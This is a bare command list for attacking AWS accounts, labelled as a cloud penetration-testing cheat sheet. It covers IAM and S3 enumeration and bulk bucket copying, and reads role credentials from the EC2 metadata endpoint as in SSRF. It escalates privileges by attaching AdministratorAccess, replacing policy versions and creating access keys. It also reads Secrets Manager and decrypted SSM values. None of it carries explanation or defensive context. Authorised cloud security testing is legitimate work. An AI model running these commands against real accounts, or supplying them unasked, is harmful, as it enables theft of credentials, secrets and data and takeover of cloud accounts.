AWS CLI commands for cloud penetration testing: IAM enumeration, S3 attacks, EC2 SSRF, privilege escalation.
aws configure
aws sts get-caller-identity
aws iam get-user
aws iam list-users
aws iam list-groups
aws iam list-roles
aws iam list-policies --scope Local
aws iam list-attached-user-policies --user-name USERNAME
aws iam get-user-policy --user-name USERNAME --policy-name POLICY
aws iam list-access-keys --user-name USERNAME
aws s3 ls
aws s3 ls s3://bucket-name
aws s3 ls s3://bucket-name --recursive --human-readable
aws s3 cp s3://bucket-name/file.txt /tmp/
aws s3 sync s3://bucket-name /tmp/bucket/
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
aws s3api list-buckets --query "Buckets[*].Name"
aws s3api put-object --bucket bucket-name --key test.txt --body /dev/null
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
aws ec2 describe-instances --query "Reservations[*].Instances[*].[InstanceId,PublicIpAddress,PrivateIpAddress,State.Name]" --output table
aws ec2 describe-security-groups
aws ec2 describe-snapshots --owner-ids self
aws iam attach-user-policy --user-name USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-policy-version --policy-arn POLICY_ARN --policy-document file://admin_policy.json --set-as-default
aws iam create-access-key --user-name USERNAME
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/ROLE --role-session-name pentest
aws lambda list-functions
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id SECRET_NAME
aws ssm get-parameters --with-decryption --names /path/to/param